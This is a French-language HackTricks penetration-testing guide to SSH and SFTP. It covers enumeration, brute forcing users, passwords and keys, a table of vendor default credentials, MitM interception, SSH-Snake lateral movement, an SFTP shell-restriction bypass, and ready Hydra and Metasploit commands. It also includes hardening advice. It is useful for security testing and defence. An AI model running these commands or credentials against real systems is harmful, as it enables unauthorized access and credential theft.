24 KiB
22 - Pentesting SSH/SFTP
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Conseil de prime de bug: inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des pirates, pour des pirates! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des primes allant jusqu'à 100 000 $!
{% embed url="https://go.intigriti.com/hacktricks" %}
Informations de base
SSH (Secure Shell ou Secure Socket Shell) est un protocole réseau qui permet une connexion sécurisée à un ordinateur sur un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accès à des systèmes distants.
Port par défaut: 22
22/tcp open ssh syn-ack
Serveurs SSH :
- openSSH – OpenBSD SSH, inclus dans les distributions BSD, Linux et Windows depuis Windows 10
- Dropbear – Implémentation SSH pour les environnements avec des ressources mémoire et processeur limitées, inclus dans OpenWrt
- PuTTY – Implémentation SSH pour Windows, le client est couramment utilisé mais l'utilisation du serveur est plus rare
- CopSSH – Implémentation d'OpenSSH pour Windows
Bibliothèques SSH (implémentation côté serveur) :
- libssh – Bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des liaisons en Python, Perl et R; utilisée par KDE pour sftp et par GitHub pour l'infrastructure SSH de git
- wolfSSH – Bibliothèque serveur SSHv2 écrite en ANSI C et ciblant les environnements embarqués, RTOS et à ressources limitées
- Apache MINA SSHD – La bibliothèque Java Apache SSHD est basée sur Apache MINA
- paramiko – Bibliothèque Python de protocole SSHv2
Énumération
Capture de bannière
nc -vn <IP> 22
Audit automatisé de ssh
ssh-audit est un outil d'audit de configuration du serveur et du client ssh.
https://github.com/jtesta/ssh-audit est un fork mis à jour de https://github.com/arthepsy/ssh-audit/
Fonctionnalités:
- Prise en charge des serveurs SSH1 et SSH2;
- Analyser la configuration du client SSH;
- Obtenir la bannière, reconnaître le périphérique ou le logiciel et le système d'exploitation, détecter la compression;
- Rassembler les algorithmes d'échange de clés, de clés hôtes, de chiffrement et de code d'authentification des messages;
- Informations sur les algorithmes de sortie (disponibles depuis, supprimés/désactivés, non sécurisés/faibles/obsolètes, etc.);
- Recommandations d'algorithmes de sortie (ajouter ou supprimer en fonction de la version du logiciel reconnue);
- Informations de sécurité de sortie (problèmes connexes, liste CVE attribuée, etc.);
- Analyser la compatibilité des versions SSH en fonction des informations sur les algorithmes;
- Informations historiques provenant d'OpenSSH, Dropbear SSH et libssh;
- Fonctionne sur Linux et Windows;
- Aucune dépendance
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Clé SSH publique du serveur
Regardez la démonstration (Asciinema)
ssh-keyscan -t rsa <IP> -p <PORT>
Algorithmes de chiffrement faibles
Cela est découvert par défaut par nmap. Mais vous pouvez également utiliser sslcan ou sslyze.
Scripts Nmap
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Énumération des noms d'utilisateur
Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque temporelle pour énumérer les utilisateurs. Vous pouvez utiliser un module Metasploit pour exploiter cela:
msf> use scanner/ssh/ssh_enumusers
Brute force
Certains identifiants ssh courants ici et ici et ci-dessous.
Brute Force de Clé Privée
Si vous connaissez certaines clés privées ssh qui pourraient être utilisées... essayons. Vous pouvez utiliser le script nmap :
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ou le module auxiliaire MSF :
msf> use scanner/ssh/ssh_identify_pubkeys
Ou utilisez ssh-keybrute.py
(python3 natif, léger et avec des algorithmes hérités activés): snowdroppe/ssh-keybrute.
Clés malveillantes connues peuvent être trouvées ici:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
Clés SSH faibles / PRNG prévisible de Debian
Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction drastique de l'espace des clés qui peut être brute-forcé. Des ensembles de clés pré-générées sur des systèmes Debian affectés par un PRNG faible sont disponibles ici: g0tmi1k/debian-ssh.
Vous devriez regarder ici pour rechercher des clés valides pour la machine cible.
Kerberos
crackmapexec utilisant le protocole ssh
peut utiliser l'option --kerberos
pour s'authentifier via kerberos.
Pour plus d'informations, exécutez crackmapexec ssh --help
.
Identifiants par défaut
Fournisseur | Noms d'utilisateur | Mots de passe |
---|---|---|
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Si vous êtes sur le réseau local en tant que victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pourriez essayer de réaliser une attaque MitM pour voler ces informations d'identification:
Chemin de l'attaque:
- Redirection du trafic: L'attaquant dévie le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
- Interception et enregistrement: La machine de l'attaquant agit comme un proxy, capturant les détails de connexion de l'utilisateur en se faisant passer pour le serveur SSH légitime.
- Exécution de commandes et relais: Enfin, le serveur de l'attaquant enregistre les informations d'identification de l'utilisateur, transmet les commandes au vrai serveur SSH, les exécute, et renvoie les résultats à l'utilisateur, rendant le processus apparemment fluide et légitime.
SSH MITM fait exactement ce qui est décrit ci-dessus.
Pour capturer et effectuer le véritable MitM, vous pourriez utiliser des techniques comme le spoofing ARP, le spoofing DNS ou d'autres décrites dans les attaques de spoofing réseau.
SSH-Snake
Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systèmes, en utilisant chaque clé privée sur chaque système pour de nouveaux hôtes, alors SSH-Snake est ce dont vous avez besoin.
SSH-Snake effectue automatiquement et de manière récursive les tâches suivantes:
- Sur le système actuel, trouver toutes les clés privées SSH,
- Sur le système actuel, trouver tous les hôtes ou destinations (utilisateur@hôte) auxquels les clés privées peuvent être acceptées,
- Tenter de se connecter en SSH à toutes les destinations en utilisant toutes les clés privées découvertes,
- Si une destination est connectée avec succès, répéter les étapes #1 - #4 sur le système connecté.
Il est entièrement auto-réplicatif et auto-propageant - et complètement sans fichier.
Mauvaises configurations de configuration
Connexion root
Il est courant que les serveurs SSH autorisent la connexion de l'utilisateur root par défaut, ce qui pose un risque de sécurité important. Désactiver la connexion root est une étape critique pour sécuriser le serveur. L'accès non autorisé avec des privilèges administratifs et les attaques par force brute peuvent être atténués en apportant ce changement.
Pour désactiver la connexion root dans OpenSSH:
- Éditez le fichier de configuration SSH avec:
sudoedit /etc/ssh/sshd_config
- Modifiez le paramètre de
#PermitRootLogin yes
àPermitRootLogin no
. - Rechargez la configuration en utilisant:
sudo systemctl daemon-reload
- Redémarrez le serveur SSH pour appliquer les changements:
sudo systemctl restart sshd
Brute Force SFTP
Exécution de commandes SFTP
Il y a une négligence courante avec les configurations SFTP, où les administrateurs souhaitent que les utilisateurs échangent des fichiers sans activer l'accès à un shell distant. Malgré le fait de définir des utilisateurs avec des shells non interactifs (par exemple, /usr/bin/nologin
) et de les confiner à un répertoire spécifique, une faille de sécurité persiste. Les utilisateurs peuvent contourner ces restrictions en demandant l'exécution d'une commande (comme /bin/bash
) immédiatement après la connexion, avant que leur shell non interactif désigné prenne le relais. Cela permet une exécution de commandes non autorisée, sapant les mesures de sécurité prévues.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Voici un exemple de configuration sécurisée SFTP (/etc/ssh/sshd_config
- openSSH) pour l'utilisateur noraj
:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Cette configuration permettra uniquement le SFTP : désactiver l'accès au shell en forçant la commande de démarrage et en désactivant l'accès au TTY, mais aussi en désactivant tous les types de transfert de port ou de tunnelisation.
Tunnelisation SFTP
Si vous avez accès à un serveur SFTP, vous pouvez également faire transiter votre trafic par celui-ci, par exemple en utilisant la redirection de port courante :
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Le sftp dispose de la commande "symlink". Par conséquent, si vous avez des droits d'écriture dans un dossier, vous pouvez créer des liens symboliques vers d'autres dossiers/fichiers. Comme vous êtes probablement piégé dans un chroot, cela ne sera pas particulièrement utile pour vous, mais si vous pouvez accéder au lien symbolique créé à partir d'un service sans chroot (par exemple, si vous pouvez accéder au lien symbolique depuis le web), vous pourriez ouvrir les fichiers liés par le lien symbolique via le web.
Par exemple, pour créer un lien symbolique d'un nouveau fichier "froot" vers "/":
sftp> symlink / froot
Si vous pouvez accéder au fichier "froot" via le web, vous pourrez lister le dossier racine ("/") du système.
Méthodes d'authentification
Dans un environnement à haute sécurité, il est courant d'activer uniquement l'authentification basée sur des clés ou l'authentification à deux facteurs plutôt que l'authentification basée sur un mot de passe simple. Cependant, il arrive souvent que les méthodes d'authentification plus fortes soient activées sans désactiver les plus faibles. Un cas fréquent est d'activer publickey
dans la configuration d'openSSH et de le définir comme méthode par défaut sans désactiver password
. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode plus faible est activée:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Par exemple, si une limite d'échec d'authentification est définie et que vous n'avez jamais la possibilité d'atteindre la méthode du mot de passe, vous pouvez utiliser l'option PreferredAuthentications
pour forcer l'utilisation de cette méthode.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Il est nécessaire de vérifier la configuration du serveur SSH pour s'assurer que seuls les méthodes attendues sont autorisées. L'utilisation du mode verbeux sur le client peut aider à voir l'efficacité de la configuration.
Fichiers de configuration
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Références
- Vous pouvez trouver des guides intéressants sur la façon de renforcer SSH dans https://www.ssh-audit.com/hardening_guides.html
- https://community.turgensec.com/ssh-hacking-guide
Conseil de prime de bug: inscrivez-vous sur Intigriti, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des primes allant jusqu'à 100 000 $!
{% embed url="https://go.intigriti.com/hacktricks" %}
Commandes Automatiques HackTricks
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!
D'autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.